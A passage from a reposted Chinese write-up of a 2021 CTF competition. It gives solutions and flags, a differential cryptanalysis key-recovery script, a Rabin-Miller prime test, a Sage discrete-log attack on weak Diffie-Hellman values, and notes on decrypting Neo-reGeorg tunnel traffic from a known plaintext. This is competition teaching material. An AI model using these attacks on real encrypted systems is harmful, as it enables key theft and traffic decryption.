s_in = [[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]]]
for i in range(8):
for j in range(4):
sp = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0],
[0, 0, 0, 0]]
t = new_p_box_list[i][0] * 2 ** 3 + new_p_box_list[i][1] * 2 ** 2 + new_p_box_list[i][2] * 2 ** 1 + \
new_p_box_list[i][3] * 2 ** 0
sp[i][0] = S_list[i].index(t, 0, 16)
#print(sp[0])
sp[i][1] = S_list[i].index(t, 16, 32)
sp[i][2] = S_list[i].index(t, 32, 48)
sp[i][3] = S_list[i].index(t, 48, 64)
row = [[0, 1, 2, 3], [0, 1, 2, 3], [0, 1, 2, 3], [0, 1, 2, 3], [0, 1, 2, 3], [0, 1, 2, 3], [0, 1, 2, 3],
[0, 1, 2, 3]]
clum = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0],
[0, 0, 0, 0]]
# row[i][0]= 0
# #print(row[i])
clum[i][j] = (int(sp[i][j]) % 16)
_num1 = [[0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0]]
_num2 = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0],
[0, 0, 0, 0]]
_num1[i] = bin(row[i][j])[2:].zfill(2)
_num2[i] = bin(clum[i][j])[2:].zfill(4)
s_in[i][j] = [int(_num1[i][0]), int(_num2[i][0]), int(_num2[i][1]), int(_num2[i][2]), int(_num2[i][3]),
int(_num1[i][1])]
# return result
# #print(s_in)
key_possible = [
[[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0]],
[[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0]],
[[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0]],
[[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0]],
[[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0]],
[[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0]],
[[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0]],
[[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0]]]
for i in range(8):
for j in range(4):
for k in range(6):
key_possible[i][j][k] = int(s_in[i][j][k]) ^ int(new_extend_list[i][k])
return key_possible
key_real = [[0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0]]
key1 = []
key2 = []
key3 = []
key4 = []
key5 = []
key6 = []
key7 = []
key8 = []
def cryptanalysis(key_poss1, key_poss2, key_poss3):
for j in range(4):
for k in range(4):
if key_poss1[0][0] == key_poss2[0][j] == key_poss3[0][k] or key_poss1[0][1] == key_poss2[0][j] == \
key_poss3[0][k] or \
key_poss1[0][2] == key_poss2[0][j] == key_poss3[0][k] or key_poss1[0][3] == key_poss2[0][j] == \
key_poss3[0][k]:
key1.append(key_poss2[0][j])
# if len(key1) == 1:
#print("key1:", key1)
if key_poss1[1][0] == key_poss2[1][j] == key_poss3[1][k] or key_poss1[1][1] == key_poss2[1][j] == \
key_poss3[1][k] or \
key_poss1[1][2] == key_poss2[1][j] == key_poss3[1][k] or key_poss1[1][3] == key_poss2[1][j] == \
key_poss3[1][k]:
key2.append(key_poss2[1][j])
# if len(key2) == 1:
#print("key2:", key2)
if key_poss1[2][0] == key_poss2[2][j] == key_poss3[2][k] or key_poss1[2][1] == key_poss2[2][j] == \
key_poss3[2][k] or key_poss1[2][2] == key_poss2[2][j] == key_poss3[2][k] or key_poss1[2][3] == \
key_poss2[2][j] == key_poss3[2][k]:
key3.append(key_poss2[2][j])
# if len(key3) == 1:
#print("key3:", key3)
if key_poss1[3][0] == key_poss2[3][j] == key_poss3[3][k] or key_poss1[3][1] == \
key_poss2[3][j] == key_poss3[3][k] or key_poss1[3][2] == key_poss2[3][j] == \
key_poss3[3][k] or key_poss1[3][3] == key_poss2[3][j] == key_poss3[3][k]:
key4.append(key_poss2[3][j])
# if len(key4) == 1:
#print("key4:", key4)
if key_poss1[4][0] == key_poss2[4][j] == key_poss3[4][k] or key_poss1[4][1] == \
key_poss2[4][j] == key_poss3[4][k] or key_poss1[4][2] == key_poss2[4][j] == key_poss3[4][k] \
or key_poss1[4][3] == key_poss2[4][j] == key_poss3[4][k]:
key5.append(key_poss2[4][j])
# if len(key5)==1:
#print("key5:", key5)
if key_poss1[5][0] == key_poss2[5][j] == key_poss3[5][k] or key_poss1[5][1] == \
key_poss2[5][j] == key_poss3[5][k] or key_poss1[5][2] == \
key_poss2[5][j] == key_poss3[5][k] or key_poss1[5][3] == \
key_poss2[5][j] == key_poss3[5][k]:
key6.append(key_poss2[5][j])
# if len(key6)==1:
#print("key6:", key6)
if key_poss1[6][0] == key_poss2[6][j] == key_poss3[6][k] or \
key_poss1[6][1] == key_poss2[6][j] == key_poss3[6][k] or \
key_poss1[6][2] == key_poss2[6][j] == key_poss3[6][k] or \
key_poss1[6][3] == key_poss2[6][j] == key_poss3[6][k]:
key7.append(key_poss2[6][j])
# if len(key7) == 1:
#print("key7:", key7)
if key_poss1[7][0] == key_poss2[7][j] == key_poss3[7][k] or \
key_poss1[7][1] == key_poss2[7][j] == key_poss3[7][k] or \
key_poss1[7][2] == key_poss2[7][j] == key_poss3[7][k] or \
key_poss1[7][3] == key_poss2[7][j] == key_poss3[7][k]:
key8.append(key_poss2[7][j])
#print("key8:", key8)
#print("key zhaodaol")
key_real[0] = key1[0]
key_real[1] = key2[0]
key_real[2] = key3[0]
key_real[3] = key4[0]
key_real[4] = key5[0]
key_real[5] = key6[0]
key_real[6] = key7[0]
key_real[7] = key8[0]
if __name__ == '__main__':
plaintext1 = "4845AB454511C0F0"
miwen1 = "2EA85F08AA80C2D2"
plaintext2 = "0123456789ABCDEF"
miwen2 = "0293A8B9E45FCE5D"
plaintext3 = "81120015A001FDF1"
miwen3 = "E88382207800FE7A"
plaintext1 = input("請輸入第一組明文:")
miwen1 = input("請輸入第一組密文:")
plaintext2 = input("請輸入第二組明文:")
miwen2 = input("請輸入第一組密文:")
plaintext3 = input("請輸入第三組明文:")
miwen3 = input("請輸入第一組密文:")
key_poss1 = key_poss(plaintext1, miwen1, 1)
key_poss2 = key_poss(plaintext2, miwen2, 2)
key_poss3 = key_poss(plaintext3, miwen3, 3)
#print(key_poss1[0],key_poss2[0],key_poss3[0],sep='\n')
cryptanalysis(key_poss1, key_poss2, key_poss3)
# miyao = twoto16(key_real)
print("經過差分密碼分析得知,密鑰為:\n", key_real)
# #print("miyao:",miyao)
24 素數
難度:入門
該題主要考察大素數檢測的知識,根據費馬小定理設計的rabin_Miller算法是效率最高的算法之一,雖然并不能100%保證通過檢測的數一定是素數(比如561,偽質數),但是再添加足夠多的底數后,是可以保證通過檢測的數絕大概率可用的(偽質數出現概率大概為2的100次方分之一),該素性檢測算法現如今應用于各類加密算法。順道一提,另一種可以確定性檢測素性(不會出現誤測)的AKS素性檢測的基本理念也是費馬小定理,只是在多項式的時間復雜度內排除掉了被檢測數是所有種類的偽質數的情況。
腳本如下:
import random
def rabin_miller(num):
s = num - 1
t = 0
while s % 2 == 0:
s = s // 2
t += 1
for trials in range(5):
a = random.randrange(2, num - 1)
v = pow(a, s, num)
if v != 1:
i = 0
while v != (num - 1):
if i == t - 1:
return False
else:
i = i + 1
v = (v ** 2) % num
return True
def is_prime(num):
# 排除0,1和負數
if num < 2:
return False
# 創建小素數的列表,可以大幅加快速度
# 如果是小素數,那么直接返回true
small_primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509, 521, 523, 541, 547, 557, 563, 569, 571, 577, 587, 593, 599, 601, 607, 613, 617, 619, 631, 641, 643, 647, 653, 659, 661, 673, 677, 683, 691, 701, 709, 719, 727, 733, 739, 743, 751, 757, 761, 769, 773, 787, 797, 809, 811, 821, 823, 827, 829, 839, 853, 857, 859, 863, 877, 881, 883, 887, 907, 911, 919, 929, 937, 941, 947, 953, 967, 971, 977, 983, 991, 997]
if num in small_primes:
return True
# 如果大數是這些小素數的倍數,那么就是合數,返回false
for prime in small_primes:
if num % prime == 0:
return False
# 如果這樣沒有分辨出來,就一定是大整數,那么就調用rabin算法
return rabin_miller(num)
# 得到大整數,默認位數為1024
def get_prime(key_size=1024):
while True:
num = random.randrange(2**(key_size-1), 2**key_size)
if is_prime(num):
return num
if __name__ == '__main__':
print("print check number")
a=input()
a= int(a)
if a > 0:
print(is_prime(a))
25 鍵盤俠
根據給出的文字
對應鍵盤上的按鍵畫圖案
對應字符分別為
C L C K O U T H K
根據要求得到flag
flag{CLCKOUTHK}
26 silent_peeper
sage已經封裝好了這個攻擊,得到a,b后算出key進行AES解密即可
p = 174807157365465092731323561678522236549173502913317875393564963123330281052524687450754910240009920154525635325209526987433833785499384204819179549544106498491589834195860008906875039418684191252537604123129659746721614402346449135195832955793815709136053198207712511838753919608894095907732099313139446299843 g = 41899070570517490692126143234857256603477072005476801644745865627893958675820606802876173648371028044404957307185876963051595214534530501331532626624926034521316281025445575243636197258111995884364277423716373007329751928366973332463469104730271236078593527144954324116802080620822212777139186990364810367977 A = 142989488568573584455487421652639325256968267580899511353325709765313839485530879575182195391847106611058986646758739505820350416810754259522949402428485456431884223161690132385605038767582431070875138678612435983425500273038807582069763455994486365993366499478412783220052753597397455113133312907456163112016L B = 16631700400183329608792112442038543911563829699195024819408410612490671355739728510944167852170853457830111233224257622677296345757516691802411264928943809622556723315310581871447325139349242754287009766402650270061476954875266747743058962546605854650101122523183742112737784691464177427011570888040416109544L k = GF(p) a = discrete_log_lambda(k(A),k(g),(2**39,2**40)) b = discrete_log_lambda(k(B),k(g),(2**39,2**40)) print(a) print(b)
27 Neo-reGeorg
Neo-reGeorg 使用的一種簡單的base64換表加密 這種方法在已知明文的時候十分脆弱
使用提供的日志很容易拼出第一個http請求的部分開頭明文(注意流量換行使用的是\n\r)
GET / HTTP/1.1
Host: 192.168.234.176
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
使用base64編碼后與密文對比 可以還原出大部分映射表
剩余的少量映射關系可以通過爆破得出
拿到表后即可完整解密通信流量得到flag
原文:https://xz.aliyun.com/t/10642
總結
以上是生活随笔為你收集整理的2021年第一届 “东软杯”网络安全CTF竞赛官方WriteUp(转)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 织梦生成栏目找不到模板怎么知道是哪个栏目
- 下一篇: ftp列表错误,flashfxp列表错误